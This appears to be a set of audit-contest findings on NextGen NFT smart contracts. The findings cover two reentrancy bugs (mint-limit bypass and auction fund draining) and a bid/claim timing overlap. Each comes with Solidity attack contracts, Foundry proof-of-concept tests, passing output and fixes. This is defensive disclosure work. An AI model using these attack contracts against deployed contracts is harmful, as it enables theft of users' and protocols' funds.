NextGen - ayden's results

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/MinterContract.sol#L196#L254 https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/NextGenCore.sol#L227#L232

Vulnerability details

Impact

All behaviors that modify a storage variable after safeMint can potentially lead to reentrancy vulnerabilities. This allows malicious users to bypass the quantity limit, enabling them to mint an arbitrary number of tokens.

• 1. tokensAirdropPerAddress limitation in airDropTokens
• 2. tokensMintedAllowlistAddress limitation in mint
• 3. burnAmount in burnToMint

Proof of Concept

All the mint operations will invoke _mintProcessing:

    function _mintProcessing(uint256 _mintIndex, address _recipient, string memory _tokenData, uint256 _collectionID, uint256 _saltfun_o) internal {
        tokenData[_mintIndex] = _tokenData;
        collectionAdditionalData[_collectionID].randomizer.calculateTokenHash(_collectionID, _mintIndex, _saltfun_o);
        tokenIdsToCollectionIds[_mintIndex] = _collectionID;
        _safeMint(_recipient, _mintIndex);
    }

And dive into _safeMint we can see _checkOnERC721Received , if target address is an contract the protocol invoke onERC721Received . Malicious user can invoke minter contract again here:

    function _checkOnERC721Received(
        address from,
        address to,
        uint256 tokenId,
        bytes memory data
    ) private returns (bool) {
        if (to.isContract()) {
            try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, data) returns (bytes4 retval) {
                return retval == IERC721Receiver.onERC721Received.selector;
            } catch (bytes memory reason) {
                if (reason.length == 0) {
                    revert("ERC721: transfer to non ERC721Receiver implementer");
                } else {
                    /// @solidity memory-safe-assembly
                    assembly {
                        revert(add(32, reason), mload(reason))
                    }
                }
            }
        } else {
            return true;
        }
    }

Here goes my foundry test:

• 1.init main contracts , set maxCollectionPurchases = 10, collectionTotalSupply = 100.
• 2.mint token with maxCollectionPurchases+1 directly which would revert Change no of tokens
• 3.use Malicious user's contract wallet to invoke mint result in exceed the maxCollectionPurchases allowance limitation

contract Wallet

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
// import "../smart-contracts/IMinterContract.sol";
import "../smart-contracts/IERC721Receiver.sol";

interface IMinter{
    function mint(uint256 _collectionID, uint256 _numberOfTokens, uint256 _maxAllowance, string memory _tokenData, address _mintTo, bytes32[] calldata merkleProof, address _delegator, uint256 _saltfun_o) external payable ;
}

contract AliceWallet is IERC721Receiver{
    IMinter public minter;
    constructor(address _minter){
        minter = IMinter(_minter);
    }

    function mintToken() public {
        bytes32[] memory merkleProof = new bytes32[](0);
        uint256 numberOfTokens = 10;
        minter.mint{value:10e18}(1,numberOfTokens,numberOfTokens,"",address(this),merkleProof,address(0),0);
    }

    function onERC721Received(
        address operator,
        address from,
        uint256 tokenId,
        bytes calldata data
    ) external returns (bytes4){
        if(address(this).balance>0){
            //invoke mint.
            uint256 numberOfTokens = 1;
            bytes32[] memory merkleProof = new bytes32[](0);
            minter.mint{value:1e18}(1,numberOfTokens,numberOfTokens,"",address(this),merkleProof,address(0),0);
        }
        return this.onERC721Received.selector;
    }
}

Foundry Test Code:

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import {Test, console2} from "forge-std/Test.sol";
import "forge-std/StdError.sol";
import "../smart-contracts/NextGenAdmins.sol";
import "../smart-contracts/MinterContract.sol";
import "../smart-contracts/NextGenCore.sol";
import "../smart-contracts/RandomizerNXT.sol";
import "../smart-contracts/XRandoms.sol";
import "./AliceWallet.sol";

contract ReentrancyTest is Test {
    NextGenAdmins public admin;
    NextGenMinterContract public minter;
    NextGenCore public gore;
    NextGenRandomizerNXT public nxt;
    randomPool public rdm;

    AliceWallet alice;

    uint256 maxCollectionPurchases = 10;//set max per address to 10.
    uint256 collectionTotalSupply = 100;
    function setUp() public {
        admin = new NextGenAdmins();
        gore = new NextGenCore("_name","_symbol",address(admin));
        minter = new NextGenMinterContract(address(gore),address(0),address(admin));

        //init rdm
        rdm = new randomPool();

        //init nxt
        nxt = new NextGenRandomizerNXT(address(rdm),address(admin),address(gore));

        //add random
        gore.addRandomizer(1, address(nxt));

        //add minter._checkOwner();
        gore.addMinterContract(address(minter));

        //create collection.
        string[] memory _collectionScript = new string[](0);
        gore.createCollection("col1","col1","","","","","",_collectionScript);
        gore.setCollectionData(1,address(this),maxCollectionPurchases,collectionTotalSupply,1 days);

        //set mint cost
        minter.setCollectionCosts(1,1e18,1e18,0,0,1,address(0));

        //set public mint time period.
        uint256 publicStart = block.timestamp + 1 days;
        uint256 publicEnd = block.timestamp + 2 days;
        minter.setCollectionPhases(1,0,0,publicStart,publicEnd,"");

        //init wallet
        alice = new AliceWallet(address(minter));
    }

    function testReentrancyAttack() public {
        //to public mint time period.
        vm.warp(block.timestamp + 1 days);
        vm.deal(address(alice), 11e18);

        //set merkleProof
        bytes32[] memory merkleProof = new bytes32[](0);

        vm.expectRevert("Change no of tokens");
        minter.mint{value:11e18}(1,maxCollectionPurchases+1,maxCollectionPurchases+1,"",address(this),merkleProof,address(0),0);

        //use alice to mint maxCollectionPurchases+1 tokens
        alice.mintToken();

        //we can see alice mint token exceed the per address allowance limitation.
        assert(gore.balanceOf(address(alice)) == maxCollectionPurchases+1);
    }
}

Running 1 test for test/Reentrancy.t.sol:ReentrancyTest
[PASS] testReentrancyAttack() (gas: 2423686)
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 4.77ms

Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)

Tools Used

foundry,vscode

Recommended Mitigation Steps

Use openzeppelin's ReentrancyGuard library to prevent similar reentry attacks. https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/ReentrancyGuard.sol

Assessed type

Reentrancy

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L104#L120 https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L124#L130

Vulnerability details

Impact

Malicious user can steal the contract's fund through a reentrancy vulnerability User participate in the bidding by paying ether to AuctionDemo contract， if the bid is not the highest, then the contract will refund the ether paid when winner invoke claimAuction to get his NFT. The problem is that claimAuction and cancelBid can be done at the same time which is minter.getAuctionEndTime(_tokenid). Once Malicious user received his bid fund he can invoke cancelBid to get the fund again。

This should include two types of attack methods.

• 1.Auction winner invoke cancelBid to get his fund back after received NFT via onERC721Received callback
• 2.Auction loser invoke cancelBid to get his fund back via fallback

In the example below, I have demonstrated the second attack method.

Proof of Concept

Assume there are 2 participates malicious user and Alice who perform the following actions:

• 1. malicious deposit 1 ether to bid the NFT
• 2. alice deposit 2 ether to bid the NFT
• 3. alice win the auction and invoke claimAuction to claim NFT

    function cancelBid(uint256 _tokenid, uint256 index) public {
        require(block.timestamp <= minter.getAuctionEndTime(_tokenid), "Auction ended");<@audit
        require(auctionInfoData[_tokenid][index].bidder == msg.sender && auctionInfoData[_tokenid][index].status == true);
        auctionInfoData[_tokenid][index].status = false;
        (bool success, ) = payable(auctionInfoData[_tokenid][index].bidder).call{value: auctionInfoData[_tokenid][index].bid}("");
        emit CancelBid(msg.sender, _tokenid, index, success, auctionInfoData[_tokenid][index].bid);
    }

    function claimAuction(uint256 _tokenid) public WinnerOrAdminRequired(_tokenid,this.claimAuction.selector){
        require(block.timestamp >= minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false && minter.getAuctionStatus(_tokenid) == true);<@audit
        auctionClaim[_tokenid] = true;
        uint256 highestBid = returnHighestBid(_tokenid);
        address ownerOfToken = IERC721(gencore).ownerOf(_tokenid);
        address highestBidder = returnHighestBidder(_tokenid);
        for (uint256 i=0; i< auctionInfoData[_tokenid].length; i ++) {
            if (auctionInfoData[_tokenid][i].bidder == highestBidder && auctionInfoData[_tokenid][i].bid == highestBid && auctionInfoData[_tokenid][i].status == true) {
                IERC721(gencore).safeTransferFrom(ownerOfToken, highestBidder, _tokenid);
                (bool success, ) = payable(owner()).call{value: highestBid}("");//@audit-info transfer token to owner.
                emit ClaimAuction(owner(), _tokenid, success, highestBid);
            } else if (auctionInfoData[_tokenid][i].status == true) {
                (bool success, ) = payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid}("");//@audit cancel to get double pay back.
                emit Refund(auctionInfoData[_tokenid][i].bidder, _tokenid, success, highestBid);
            } else {}
        }
    }

Above two function can be invoked at the same time

This is the malicious contract wallet:

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
// import "../smart-contracts/IMinterContract.sol";
import "../smart-contracts/IERC721Receiver.sol";

interface IAuction{
    function cancelBid(uint256 _tokenid, uint256 index) external ;
    function claimAuction(uint256 _tokenid) external ;
    function participateToAuction(uint256 _tokenid) external payable ;
}

contract MaliciousWallet{
    IAuction public auction;
    uint256 tokenId;
    constructor(address _auction){
        auction = IAuction(_auction);
    }

    function participate (uint256 _tokenid) public {
        tokenId = _tokenid;
        auction.participateToAuction{value:1e18}(_tokenid);
    }

    fallback() external payable {
        if(address(this).balance<2e18){
            auction.cancelBid(tokenId,0);
        }
    }
}

This is foundry test:

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import {Test, console2} from "forge-std/Test.sol";
import "forge-std/StdError.sol";
import "../smart-contracts/NextGenAdmins.sol";
import "../smart-contracts/MinterContract.sol";
import "../smart-contracts/NextGenCore.sol";
import "../smart-contracts/RandomizerNXT.sol";
import "../smart-contracts/XRandoms.sol";
import "../smart-contracts/AuctionDemo.sol";
import "./malicious.sol";

contract AuctionAttackTest is Test {
    NextGenAdmins public admin;
    NextGenMinterContract public minter;
    NextGenCore public gore;
    NextGenRandomizerNXT public nxt;
    randomPool public rdm;
    auctionDemo public auction;

    MaliciousWallet malicious;
    address bob = vm.addr(1002);
    address alice = vm.addr(1003);

    uint256 maxCollectionPurchases = 10;//set max per address to 10.
    uint256 collectionTotalSupply = 100;
    function setUp() public {
        admin = new NextGenAdmins();
        gore = new NextGenCore("_name","_symbol",address(admin));
        minter = new NextGenMinterContract(address(gore),address(0),address(admin));
        auction = new auctionDemo(address(minter),address(gore),address(admin));
        //init rdm
        rdm = new randomPool();

        //init nxt
        nxt = new NextGenRandomizerNXT(address(rdm),address(admin),address(gore));

        //add random
        gore.addRandomizer(1, address(nxt));

        //add minter._checkOwner();
        gore.addMinterContract(address(minter));

        //create collection.
        string[] memory _collectionScript = new string[](0);
        gore.createCollection("col1","col1","","","","","",_collectionScript);
        gore.setCollectionData(1,address(this),maxCollectionPurchases,collectionTotalSupply,1 days);

        //set mint cost
        minter.setCollectionCosts(1,1e18,1e18,0,1 days,1,address(0));

        //set public mint time period.
        uint256 publicStart = block.timestamp + 1 days;
        uint256 publicEnd = block.timestamp + 2 days;
        minter.setCollectionPhases(1,publicStart,publicEnd,publicStart,publicEnd,"");

        //init MaliciousWallet
        malicious = new MaliciousWallet(address(auction));
    }

    function testAuctionAttack() public {
        vm.warp(block.timestamp + 1 days);
        //mint and auction.
        minter.mintAndAuction(bob, "", 0, 1, block.timestamp + 1 days);

        uint256 tokenId = 10000000000;
        assert(gore.ownerOf(tokenId) == bob);
        vm.prank(bob);
        //set approve.
        gore.approve(address(auction), tokenId);

        //m user operations
        vm.startPrank(address(malicious));
        vm.deal(address(malicious),1 ether);
        vm.deal(address(auction),1 ether);
        assert(address(malicious).balance == 1 ether);

        malicious.participate(tokenId);
        assert(address(malicious).balance == 0);

        vm.stopPrank();
        vm.startPrank(alice);
        vm.deal(alice,2 ether);
        //participateToAuction
        auction.participateToAuction{value:2 ether}(tokenId);

        //to the end time.
        vm.warp(block.timestamp + 1 days);
        auction.claimAuction(tokenId);

        assert(address(malicious).balance == 2 ether);
    }
}

we can see after above transaction MaliciousWallet claim 2 ether back however he only paid 1 ether.

Tools Used

foundry,vscode,manure review

Recommended Mitigation Steps

Use openzeppelin's ReentrancyGuard library to prevent similar reentry attacks. https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/ReentrancyGuard.sol

Assessed type

Reentrancy

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L57#L61 https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L104#L120

Vulnerability details

Impact

The last bidder may lose his fund permanently due to the overlap between the time to participate in the auction and the time to claim the reward

Proof of Concept

    function participateToAuction(uint256 _tokenid) public payable {
        require(msg.value > returnHighestBid(_tokenid) && block.timestamp <= minter.getAuctionEndTime(_tokenid) && minter.getAuctionStatus(_tokenid) == true); <---------@audit
        auctionInfoStru memory newBid = auctionInfoStru(msg.sender, msg.value, true);
        auctionInfoData[_tokenid].push(newBid);
    }

From the code above we can see that the last point in time to participate in the bidding is minter.getAuctionEndTime(_tokenid)

    function claimAuction(uint256 _tokenid) public WinnerOrAdminRequired(_tokenid,this.claimAuction.selector){
        require(block.timestamp >= minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false && minter.getAuctionStatus(_tokenid) == true); <---------@audit
        auctionClaim[_tokenid] = true;
        uint256 highestBid = returnHighestBid(_tokenid);
        address ownerOfToken = IERC721(gencore).ownerOf(_tokenid);
        address highestBidder = returnHighestBidder(_tokenid);
        for (uint256 i=0; i< auctionInfoData[_tokenid].length; i ++) {
            if (auctionInfoData[_tokenid][i].bidder == highestBidder && auctionInfoData[_tokenid][i].bid == highestBid && auctionInfoData[_tokenid][i].status == true) {
                IERC721(gencore).safeTransferFrom(ownerOfToken, highestBidder, _tokenid);
                (bool success, ) = payable(owner()).call{value: highestBid}("");//@audit-info transfer token to owner.
                emit ClaimAuction(owner(), _tokenid, success, highestBid);
            } else if (auctionInfoData[_tokenid][i].status == true) {
                (bool success, ) = payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid}("");//@audit cancel to get double pay back.
                emit Refund(auctionInfoData[_tokenid][i].bidder, _tokenid, success, highestBid);
            } else {}
        }
    }

From the code above, we can see that the first time to claim a reward is minter.getAuctionEndTime(_tokenid). What happens if these two transactions are sent to the chain at the same time ?

The last bidder may lose his fund permanently

Assume the following scenario : There are 3 participants ， bob 、 alice 、victims .

• 1. Admin invoke mintAndAuction and set bob as the receiver
• 2. bob approve NFT to AuctionDemo contract and start the auction.
• 3. Alice deposit 1 ether to bid
• 4. at the end of auction , alice invoke claimAuction to get his reward.
• 5. victims deposit 1.1 ether to bid
• 6. After 1 mins victims find that auction is over want to invoke cancelAllBids to get his funds back however his transaction would be revert. Note that transaction 4 and 5 send to blockchain at the same time.

Here is my POC from foundry:

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import {Test, console2} from "forge-std/Test.sol";
import "forge-std/StdError.sol";
import "../smart-contracts/NextGenAdmins.sol";
import "../smart-contracts/MinterContract.sol";
import "../smart-contracts/NextGenCore.sol";
import "../smart-contracts/RandomizerNXT.sol";
import "../smart-contracts/XRandoms.sol";
import "../smart-contracts/AuctionDemo.sol";

contract AuctionAttackTest is Test {
    NextGenAdmins public admin;
    NextGenMinterContract public minter;
    NextGenCore public gore;
    NextGenRandomizerNXT public nxt;
    randomPool public rdm;
    auctionDemo public auction;

    address victims = vm.addr(1001);
    address bob = vm.addr(1002);
    address alice = vm.addr(1003);

    uint256 maxCollectionPurchases = 10;//set max per address to 10.
    uint256 collectionTotalSupply = 100;
    function setUp() public {
        admin = new NextGenAdmins();
        gore = new NextGenCore("_name","_symbol",address(admin));
        minter = new NextGenMinterContract(address(gore),address(0),address(admin));
        auction = new auctionDemo(address(minter),address(gore),address(admin));
        //init rdm
        rdm = new randomPool();

        //init nxt
        nxt = new NextGenRandomizerNXT(address(rdm),address(admin),address(gore));

        //add random
        gore.addRandomizer(1, address(nxt));

        //add minter._checkOwner();
        gore.addMinterContract(address(minter));

        //create collection.
        string[] memory _collectionScript = new string[](0);
        gore.createCollection("col1","col1","","","","","",_collectionScript);
        gore.setCollectionData(1,address(this),maxCollectionPurchases,collectionTotalSupply,1 days);

        //set mint cost
        minter.setCollectionCosts(1,1e18,1e18,0,1 days,1,address(0));

        //set public mint time period.
        uint256 publicStart = block.timestamp + 1 days;
        uint256 publicEnd = block.timestamp + 2 days;
        minter.setCollectionPhases(1,publicStart,publicEnd,publicStart,publicEnd,"");
    }

    function testLastParticipateAuctionAttack() public {
        vm.deal(address(alice),1 ether);
        vm.deal(address(bob),1 ether);
        vm.deal(address(victims),1.1 ether);

        vm.warp(block.timestamp + 1 days);
        //mint and auction.
        minter.mintAndAuction(bob, "", 0, 1, block.timestamp + 1 days);

        uint256 tokenId = 10000000000;
        assert(gore.ownerOf(tokenId) == bob);
        vm.prank(bob);
        //set approve.
        gore.approve(address(auction), tokenId);


        vm.startPrank(address(alice));
        auction.participateToAuction{value:1 ether}(tokenId);

        //to the end time.
        vm.warp(block.timestamp + 1 days);

        //alice claim her reward.
        auction.claimAuction(tokenId);

        //victims send bid to blockchain.
        vm.stopPrank();
        vm.startPrank(victims);
        auction.participateToAuction{value:1.1 ether}(tokenId);

        assert(victims.balance == 0);

        //after 1 block.
        vm.warp(block.timestamp + 1);

        //victims wants to cancel his bid.
        vm.expectRevert("Auction ended");
        auction.cancelAllBids(tokenId);
    }
}

Here is output:

[PASS] testLastParticipateAuctionAttack() (gas: 623787)
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 3.56ms

Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)

Tools Used

foundry,vscode

Recommended Mitigation Steps

The time for bidding and the time for claim rewards can't overlap.

    function participateToAuction(uint256 _tokenid) public payable {
-        require(msg.value > returnHighestBid(_tokenid) && block.timestamp <= minter.getAuctionEndTime(_tokenid) && minter.getAuctionStatus(_tokenid) == true);
+        require(msg.value > returnHighestBid(_tokenid) && block.timestamp < minter.getAuctionEndTime(_tokenid) && minter.getAuctionStatus(_tokenid) == true);
        auctionInfoStru memory newBid = auctionInfoStru(msg.sender, msg.value, true);
        auctionInfoData[_tokenid].push(newBid);
    }

Assessed type

Timing